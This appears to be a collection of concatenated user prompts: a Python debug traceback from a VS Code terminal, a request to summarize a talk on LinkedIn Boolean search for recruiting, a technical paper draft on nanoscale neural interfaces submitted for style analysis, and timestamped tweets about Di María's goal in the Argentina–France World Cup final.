\'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50195\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\import webbrowser.py\'\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50234\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\browser.py\'\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50247\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\'\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50287\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\'\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 9\n from import webbrowser import open\\_browser\n ^^^^^^\nSyntaxError: invalid syntax\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50296\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 9\n from import webbrowser import open\\_browser\n ^^^^^^\nSyntaxError: invalid syntax' +'Summarize the following.\nTitle: "Become a LinkedIn Search Ninja: Advanced Boolean Search | Talent Connect London 2014 - YouTube"\nTranscript: "is everybody ready to begin okay does anybody interested in about how to get more value out of LinkedIn from search yes is it the whole full belly syndrome you just as just eight okay so the first thing I\'ll say is that there should be some time at the end for questions there\'s two mics in the aisles so don\'t be shy if you have questions and also if there\'s something that\'s burning that you want to mention in the middle you can interrupt me just just icky late wildly and I\'ll call on you and I\'ll repeat the question for other folks so I am Glen Kathy I work for kforce it\'s a us-based staffing firm about 1.2 billion in revenue I also oversee the senior vice president of talent acquisition there and we have a national recruiting center with about 300 recruiters in it and I also manage some very specialized recruiting teams one of which is focused heavily on big data and data scientists and things like that so I\'m still very much in the trenches trying to find and attract the right people so if you are a fan of taken like I am I just replaced one word in here it\'s certainly not as violent as the taken movie but I like to kick it off by asking you do you guys know what the most common activity is that anybody performs on LinkedIn is I think I heard somebody say job search profile views yes searching for and finding people that\'s the number one activity that anybody by the way not just you guys but other folks are doing on LinkedIn and so my question to you is when you want to be actually very good at it if that\'s what everybody else is doing you always have to ask yourself the question what are you doing that other people are not sometimes the tough answer to that is nothing which means you have no competitive advantage even if you\'re using the same resource like LinkedIn so I also hopefully won\'t disappoint people even though the title of this was talking about advanced boolean search I actually believe that the most advanced aspect of searching any source of human capital data and when it comes to professional data LinkedIn is the number one they have more data than anybody else professionally it actually has very little to do with boolean logic it has a lot more to do with your mind so even though we\'ll cover some boolean basics today I\'m not really going to go over and or a not and all the other fun stuff it\'s syntactically unless you guys have specific questions about that which I\'d be happy to answer this is going to set the stage for the entire talk that I have today which is you have to learn how to ask the right questions which when you when you realize it the searches that you\'re running a LinkedIn they\'re really their queries which are really formal statements of your information needs you\'re really asking LinkedIn do you have these people but I find that most people don\'t ask very sophisticated questions of LinkedIn but LinkedIn is capable of answering sophisticated questions and the sophistication has nothing to do with boolean logic it has to do with everything else you put in your search so it\'s all about asking the right questions so we\'ll remember that as a theme today so has anybody seen the movie Inception yeah even if you haven\'t you\'re not raising your hand if you haven\'t I would definitely I would definitely recommend watching it that I believe is Paris and you know in this scene Leonardo DiCaprio is actually watching the city Bend the reason why I have to slide in here is because what you are capable of doing with LinkedIn is actually only limited by your own mind it has again nothing to do with boolean logic and actually really nothing to do with LinkedIn it\'s your capacity to think creatively and ask the right questions so I wanted to set the stage with that today so the first round of questions that I\'m going to ask you and if you\'re shy you don\'t wanna yell it out that\'s fine I\'ll probably answer for you but can you guys tell me why the average person joins LinkedIn they may ever wonder about that what\'s that okay maybe they\'re missing out on something they want to belong to something obviously they\'re getting a critical mass networking right okay there why do you think I\'m asking you this question do you guys know okay so this though it might be a slightly Epiphanius moment for some of you in the room it\'s that if you don\'t first understand why people are joining LinkedIn you won\'t really understand why they may or may not say certain things in their profile and if they don\'t say certain things in their profile and you search for it can you find them No so I\'m actually the guy that coined that phrase dark matter so I\'m also a blogger I have a blog called boolean black belt I write a lot about information retrieval searching recruiting and recruiting things like that and the concept of dark matter has to do with people that are on LinkedIn that are there but you can\'t find because your search excludes them so when you take the person who joins LinkedIn to network but there\'s not looking for a job how much information do you think the average person puts in their LinkedIn profile a lot or a little it\'s a little sometimes it\'s very little and I\'ll show you a couple of examples of that so if they\'re using it for networking not looking for jobs they\'re not filling out their LinkedIn profile like a CV many do but most don\'t you have to understand this first because if you don\'t first understand that you will have no clue as to why when you run searches you find people but you may be completely oblivious to the fact that you might be missing out on 80% of who you could be finding now when it comes to who you can recruit on LinkedIn this is a really interesting study they actually did this and I think over it was 18,000 people in 26 countries of people that were fully employed if you look at the percentages it really technically says that 85% of people should be open to hearing from you that\'s how I interpret this so I could care less that 25 percent are kind of looking I think anybody\'s a candidate but I just wanted you to take a second and understand that up to 85 percent of people should be open to your outreach effort even if they didn\'t join LinkedIn look to look for a job even if they don\'t have a CV level profile if you have any audio on that if not I\'ll try to remember what this lady was saying at a LinkedIn event she\'s basically telling she\'s actually talking to folks at linkedin about hey i\'ve got software engineers at my company that i tried to not only get onto linkedin but also ask them to fill out their profiles and when she talks to these software engin it\'s keyboard frequency right there\'s a whole bunch of other things going on but you\'re never really going to get away from keyword frequency so now that I\'ve walked you down the step of you have a lot of people that join LinkedIn they\'re not necessarily looking right it doesn\'t mean you can\'t recruit them and there are some people that actually try to make themselves a little bit more difficult to find do you think that the average search pulls up most people it actually pulls up what I would call the kind of in mail response rates do you think those do you get from those people lower high it\'s probably low right these are the people that are the hottest guys and the girls right so they\'re everybody hitting on them and eventually did you start turning cold on everybody you get the low response rates what i want you to understand though is if you start thinking outside the box and running some different queries you might actually get a higher response rate from your in males and find people that literally have never received a message even in one city so then the question becomes well there\'s another example of dark matter if you just retrieved 600 results and you look through 100 results you\'ve actually not looked at the other 500 and you might be asking will go a night I don\'t have a lot of time I\'m busy I carry a rec load of I don\'t know from 20 to 30 to 40 recs at a time if that sounds familiar the challenge is you now know that you\'re leaving the majority of people behind that you never look at I\'m going to talk to you a little bit later today times it gets people thinking too narrowly but what we\'re looking for here is a salesperson the lower left-hand corner is a top producer in sales the upper right-hand corner would be a substation engineer as an example and the bottom is actually I think just an interesting way of asking for an analyst a business analyst without actually looking for any exact phrases you could put that in the title field I call this maximum inclusion because you have to understand that for anything that you\'re looking for there\'s going to be more saying LinkedIn can you can you find me people that have cloud experience and LinkedIn if it could ask a question would say what does cloud experience look like and that\'s I would say well this this or statement basically means cloud and it\'s gonna run it and it\'s gonna find people no matter how they say it now granted if you were paying attention earlier you might realize yeah there\'s gonna be some people with cloud experience that don\'t say anything about cloud no matter how you might think they this happens after you run your search if you\'re not familiar with it you can\'t do it up front you run your search then you go to the results page and on the left hand rail you can start typing in things so what I started typing in was the word Java and I found all these groups so if you\'re looking at that you know you\'re getting close to a thousand people that are software engineers that don\'t mention Java that are in Java groups is it a hundred percent likely that all these people are Java within quotes on LinkedIn and you just have to start thinking well if I was looking for device design professional what are the types of things that that person might put on their profile again assuming that they\'re gonna have a profile with a bunch of words on it so we do a couple phrases here medical device design designing medical devices design medical devices now that\'s just my first search I\'m going to apply my technique of iterative search after this because I\'m gonna scan probably I\'ll be honest with and that\'s why it\'s like talking about dark matter that\'s like I\'m telling you guys there\'s millions of people that you\'re excluding how would you even know it because LinkedIn won\'t say hey here\'s 400 people but you missed 1200 it doesn\'t tell you that you have to think first and say my search found some but I know I probably excluded some so how can I go back and refine my search is to start to increasingly shed light on the people that my first search is eliminated you have to be aware that if other profile does that mean they\'re bad these are the things that you excluded because you run searches with too many keywords I always say go keyword rich first and then go keyword poor second my point is most people don\'t even run searches to be able to pull this person up that is the totality of that person\'s profile how many times do you think someone reaches out to that person on LinkedIn very little if at all it\'s like hidden treasure I love it some other interesting things so you have to think strategically excluded EMC so I came up with Bret Walker from the profile on the left and I placed him at EMC and that was a long time ago and I double-checked because whenever I use this guy\'s an example I\'m actually hoping that he never leaves EMC because you can see he was a pretty good placement right he started there in April 2006 and he\'s been there ever since and I love this story because it\'s all from a search for someone who didn\'t even say the primary skill that was required and what was function right then put it in word use my little trick snapped it into a giant war statement it takes a couple clicks done and you run that search and that pulls up 4.3 million people so that\'s not bad that\'s actually 67% of the women in the UK on LinkedIn so two-thirds right but because I\'m here in the UK and we don\'t want to just use popular names in the US this probably took me 30 minutes of research is what I did next so what I did is I went to there was no single webs so the United States it was easy it was target them elsewhere to reach out to them to try to bring them back does anybody look for expats a handful of people I wanted to put there on purpose because I was told that that would be something of help but again it\'s not about me giving you the answer it\'s about you me giving you the spark of the notion of what would be on someone\'s profile of someone who lived in your home country that it moved abroad targeting them and abroad groups are also a good way to find them because there\'s a lot of people that join local people with text poor LinkedIn profiles and you have to be able to create queries to find them you\'re gonna have to use what I call strategic exclusion which is excluding the most common terms talent mapping if you ever run a search like this in a city and it\'s a relatively basic search and basic searches aren\'t bad they\'re just basic so I\'m looking for a project manager with finance right super basic search but I\'m actually pulling up almost 4,000 people now no one\'s gonna look at 4,000 tag them as so many different things you can do that will aid your ability to retrieve them later very precisely so look into the custom fields I don\'t know if anybody will actually get this humor I won\'t explain it so if somebody actually gets this just approached me after the session so I\'m going to call this Drake style sourcing so instead of starting from the top I\'m gonna start from the bottom of the search results so if I got nine hundred and fifty nine Mechanical Engineers in a particular good people you saw some of the names of the people that came up with the minimalist profiles the first thing I would do is roll my dice on companies so if they work for a reputable company that other people have alrea"' +'Here Damian! This is another example of my technical writing, please analyze the style, science, and rhetoric that I used. Really get to know my writing style with this one:\n\n"\nThe piezoelectric effect is the ability of materials to generate electricity in response to mechanical stress. Likewise, piezoelectric materials can receive electricity and convert it into mechanical stress. It has many applications, such as power sources, sensors, and motors. \n There have been many studies in vitro that show the potential that piezoelectric nFNIs could potentially be stable. Boron nitride nanotubes were used to stimulate PC-12, C2C12 cells, and SH-SY5Y cells to see if neurite growth would be expedited with electrical stimulation, which was found to be true[7.]. In another study, barium titanate was electrostatically attached to SH-SY5Y and induced calcium influxes when stimulated by ultrasound. Both of the nanoparticles were dispersed into the media, and they were rapidly internalized by the cells. As stated previously for quantum dots, the internalization of nFNIs is highly non-ideal due to the impossibility of retrieval. Likewise, the amount of energy produced by the vibrating nano piezo crystals is still unknown, meaning it may not be powerful enough to generate an action potential. \n Another relatively unknown aspect is the biocompatibility of the different piezocrystals. Boron nitride has been shown in vitro to not exhibit any toxicity in human kidney cells [29.], and barium titanate showed minimal toxicity in mouse osteoblasts 7F2 cells as it caused a nonsignificant inflammatory response[30.]. \nDesigning a theoretical system\n In this section of the paper, a theoretical brain-computer interface will be designed based on the current state of nFNIs. Ideally, the system would be capable of targeting a specific region of the brain in a safe, practical manner that would allow for high-resolution, bidirectional communication. The system would be designed for humans. Therefore, it would need to be made from materials approved for human use or have been proven to show no toxicity to human cells. Ideally, this system’s operation would not cause a significant temperature increase. The mean temperature of the brain is 38.4°C[31.], and at 40°C heatstrokes can occur[32.]. Therefore, the temperature should not be raised by 1°C to ensure patient safety. Lastly, the long-term viability of the neural interfaces used will be used to establish whether or not the system would be viable for long-term placement, and methods of complete retrieval will be investigated. \n The three types of signals viable for deep stimulation of human neurons are light, magnetic fields, and ultrasound. There seems to exist a tradeoff between spatial resolution and penetration depth. NIR light has a relatively low penetration depth of 4.4mm, but a spatial resolution of 0.05mm. Conversely, magnetic fields have a relatively good penetration depth of 5 cm. Still, they also have a low spatial resolution of 1 cm. Lastly, microwaves have a penetration depth of 5cm and a spatial resolution of 4mm. However, nFNIs being bound directly to target neurons will allow for precise stimulation regardless of spatial resolution. \n\nA fundamental problem with the three types of stimulation is that the signal depth is not deep enough to stimulate the brain’s deepest recesses from the surface. The average human brain has dimensions of 167mmx140mmx93mm[33.].\n \nEquation 1: Volume of an Ellipsoid where a equals the horizontal semi-axis(length), b equals the vertical semi-axis(height), and c equals the original axis (depth)\nUnder the assumption that the average brain’s area can be represented by an ellipsoid, the area affected by the primary signals can be calculated. Using the equation, the average volume of the human brain is approximately 1138 cm3. \nPrimary Energy Type\nThe volume of the brain affected in cm3\nPercentage of the Brain affected\nNIR\n223\n20.0%\nUltrasound\n641\n56.3%\nMagnetic\n901\n79.2%\nMicrowave\n901\n79.2%\n\nTable 4: Calculation of the Percentage of the brain affected by the different primary signals.\n\nIn the above table, the maximum penetration depth was utilized to approximate how much of the brain each primary signal could affect. Using equation 1, the penetration depth was subtracted from the radius of each dimension resulting in an ellipsoid of reduced size. The resulting ellipsoid represented the area unaffected by the signal, so each smaller ellipsoid was subtracted from the average volume of the human brain, 1138 cm3 to obtain the area affected by the signal. For the system to be a suitable advancement in the functional neural interfaces, nFNIs would need to be capable of modulation at any depth. Therefore, a system would need to account for the relatively low signal depth and unique properties of nFNIs. \nMany inventions are biomimetic in nature. To solve the dilemma of insufficient signal depth, I propose looking to neurons to provide an answer. Neurons can carry electrical signals across the body despite their relatively low power by using axons that are activated once the neuron is activated. Similarly, when stimulated, nFNIs could produce a secondary signal in their local area, potentially activating ion channels. However, instead of activating ion channels, the nFNIs could activate other nFNIs that can propagate the signal deeper into the brain. These long chains could essentially act as self-constructing nanowires that travel directly to the target neuron. These nanowires could work in networks or independently, but they could allow for deep ultrasonic, magnetic, or even optical stimulation. Likewise, recording nanowires could propagate signals received from neurons to relay activity to the surface of the brain, where they can be readily recorded. Ideally, the recording nanowires would be different nFNIs than the stimulating nFNIs to avoid noise or false positive signals. Likewise, the relay nFNIs would also be distinct from the stimulating nFNIs to avoid unintentional stimulation of nontargeted neurons while propagating the signal. \n\nFigure 4: The above figure depicts the proposed method for using scaffolding proteins to make nanowires. Each scaffolding protein would have three magnetic nanoparticles (one on the top, middle, and bottom). The magnetic nanoparticles would propagate the magnetic signal until it reached the magnetoelectric nanotransducer (figure on the left). The figure on the right depicts a similar system. However, the last scaffolding protein has a MMN attached to the end, which would be used to stimulate the piezoelectric crystal.\n Of the four nFNIs previously described, only three will be considered for the system. MMNs, MENS, and piezocrystals all exhibited minimal to no cytotoxicity, but QDs have shown to be highly toxic if the coating dissolves. While it may have interesting properties, it should not be used in humans for a practical system. Therefore with the restriction that the system would require different nFNIs for stimulation, relay, and recording, MMNs, MENs, and piezocrystals will be evaluated for their ability for each role. \nPiezocrystals and MENs would most likely serve as the best stimulating nFNI. Piezocrystals could be a good option due to the universality of electricity in modulating/activating neurons. MMNs would not be as good of a candidate because mechanosensitive ion channels are not as prevalent as voltage-gated ion channels. Electricity offers a reliable method of altering excitability throughout various neurons. For MENs to be a stimulating nFNI, a nanowire composed of magnetic nanoparticles would need to be used as the relay signal to propagate the signal to the neuron. For piezocrystals to be an ideal stimulating nFNI, MMNs could be used as the relay nFNI because they could mechanically stress the piezocrystal resulting in an electric charge. However, for the attached MMN to receive the signal, a nanowire made of nanomagnets would also need to be attached to the MMN. Experimentation would need to be conducted to determine which method would be superior as both show potential for the modulation of neurons.\nFor the recording nFNI, neuronal electrical activity will need to be detected and propagated to the brain’s surface for simplified measurement. Therefore, piezo crystals or MENs would be the best candidates. Ideally, the recording nanowires would differ in signal propagation methods than the stimulating nanowires, but it does not mean the system would be incapable of functioning as intended. The problem can be solved by ensuring the nanowire has some form of insulation to hinder the spread of the signal. The insulation can be in the form of a substrate or binding protein, as discussed later. MENs will most likely prove to be the most efficient recording nFNI. It can convert the received electrical input from the neuron directly into a magnetic field that can be propagated through the wire. Near the brain’s surface, the tail-end of the wire would be topped with a corresponding MEN to convert the signal to electricity for measurement. \nWhile most of the current studies involving nFNIs occurring in vitro show stable neural interfaces, the neural interfaces may not necessarily be stable in vivo. With this in mind, the nanowire would need to be anchored to the ion channels of the target neuron and the skull for efficient signal propagation. Having the nFNIs bound to a protein would reduce the likelihood of internalization of the individual particle. Likewise, if the particles are in the form of nanowires, it would significantly reduce the chance of internalization. Ideally, the protein would be a durable, biocompatible material capable of binding to the respective nFNI, isolating the signal produced by the nFNI, and binding to other proteins to form the nanowires. Due to the specificity of the requirements needed for such a protein, there has not been any evidence in the literature of such a protein. Scaffolding proteins show an interesting starting point for investigation. Scaffolding proteins typically help to relay messages between the cell membrane and the nucleus[34.]. If a scaffolding protein could be designed to hold the magnetic nanoparticles as shown in figure 4, it would allow for testing of the proposed nano interface. \nFuture Perspectives\n Nano functional neural interfaces is a rapidly developing field with many vital insights being found daily. In this paper, QDs, MENs, MMNs, and piezocrystals were investigated for their biocompatibility, feasibility, and potential for use in a theoretical brain-computer interface. nFNIs show great potential in overcoming the insensibility and indistinguishability problems currently held by the field as a whole. However, nFNIs are still limited by the penetration depth and spatial resolution of the stimulating signals. For the field to progress, noninvasive stimulation methods would need to advance, allowing for higher spatial resolution and greater depth. In this paper, a potential solution was proposed to the problem in the form of protein chains containing nFNIs to relay the signal bidirectionally. The proposed solution would require the discovery of a protein capable of handling the design requirements needed to bind to the nFNIs, insulate the signal, and form durable chains that will need to be investigated further. If these advancements are made, the proposed solution could potentially help to push the understanding of the brain to new levels.\n"' +"By showing the time first with a semicolon, describe as reporting a current event in a few 4 lines, what is happening right now using the following tweets :\n\nsourceText Time\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/m2YWSEnYMS 15:36:19.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nNice goal by Di Maria #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA!!!!!!!!! ARGENTINA SCORE A SECOND!!!!!!!! WAS THAT GOAL RIGGED TOO OR WILL YALL STOP CRYING?? #FIFAWorldCup #ARG #FRA 15:36:23.0000000\nDI MARIAAAAAAAA'WHAT A TEAM GOAL'WHAT ARE WE WITNESSING HERE!!!!!'#ArgentinaVsFrance 15:36:16.0000000\nBLOODY HELL DI MARIA BASICALLY GOAL EVERY FINAL!! HOLY HELL #ArgentinaVsFrance #WorldcupQatar2022 15:36:40.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don't need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nTop counter attack & Di Maria goal ??''#ArgentinaVsFrance https://t.co/sVzLCZrbqb 15:36:48.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nWhat a goal.. Messi started the move and Di Maria did the ting!!!!! ''VAMOS ARGENTINA!!! 15:36:42.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they're suffering like this? ??'#ArgentinaVsFrance 15:36:36.0000000\nGOAL!''Angel di Maria makes it 2 - 0 for Argentina.''#FIFAWorldCup 15:36:34.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDI MARIA Scores the second goal for Argentina 15:36:54.0000000\nBrilliant Argentina goal that 2-0 Di Maria''One touch. Macalister running the game 15:36:30.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. ''Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nWhat a beautiful GOAL???? from Di Maria. Argentina has been on a serious attack and they’re capitalising . #KusazobaMnandi 15:36:59.0000000\nDi Maria, he's gone to ground...he's got a penalty! Dembele the man guilty as charged. 'And Messi, A goal for ever more..perhaps a goal of his infinity, as it’s predestined'- Peter Drury'#ArgentinaVsFrance #FIFAWorldCup #PeterDrury 15:35:29.0000000\nDi Mariaaaaaa nets #ARG 2nd goal! ''#FIFAWorldCup #ARGFRA 15:36:19.0000000\nWhat a Goal De Maria ?????????'2-0 ??'#Arg'#WorldCupFinal 15:36:34.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal Di Maria! What a counter attack. Argentina leads France 2-0. #FIFAWorldCup 15:36:23.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton's Mac Allister 15:36:50.0000000\nHe’s having a worldie Di Maria!''What a goal''#arg #fra #ArgentinaVsFrance #WorldCupFinal 15:36:47.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nDi Maria! What a goal from Argentina ????????''Game over. 15:36:13.0000000\nWHAT A GOAL!!!!''DI MARIA SCORESSSSS!!!!!''ARGENTINA 2 0 FRANCE '35 15:36:29.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria ''#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nWhat a goal from Argentina, cut open France like a hot knife through butter. Messi, Di Maria and Mac Allister running the show here. Thoroughly deserved of this World Cup. 15:36:54.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/AFS5UAJ501 15:36:49.0000000\nDi Mariaaaaaa, what a goal!! '#WorldCupFinal 15:36:50.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\n??ARGENTINA DOUBLE THEIR LEAD??''GOAL: Di Maria 35‘ ??????'2-0 15:35:51.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nWhat a goal boom 2-0 di maria #ArgentinaVsFrance 15:36:50.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nThat is a beautiful goal!!''Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDi maria!!!Maria!!!! What a goal the French in the mud!!! #ARGFRA #FIFAWorldCupQatar2022 #FIFAWorldCup 15:36:25.0000000\nWow! What an effing goal Argentina. Di Maria playing like a young man again. Just amazing. 15:36:48.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nWhat a counter attacking goal. ''Di Maria...#ArgentinaVsFrance 15:36:44.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nDi Maria what a goal .. pure counter attack #FIFAWorldCup #FIFAWorldCupFinal 15:36:34.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nSecond goal for Argentina ''Di Maria https://t.co/RVfNhamMG7 15:36:32.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\nGOLOOOOO ANGEL DI MARIAAAAA ??????????????????????????'Goal of the tournament!!'#WorldCupFinal #FIFAWorldCup '#Arg 15:36:43.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\n? GOAL: Argentina 2 - 0 France. ANGEL DI MARIA FINISHES OFF AN UNBELIEVABLE MOVE FROM ARGENTINA! WHAT A GOAL!''#FRA | #FRA ''#ad @PepsiGlobal https://t.co/f1YjbdoCEc 15:36:14.0000000\nAnother goal for Argentina... De Maria ????''#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\n2nd goal for Argentina ???????????????????'Di Maria you 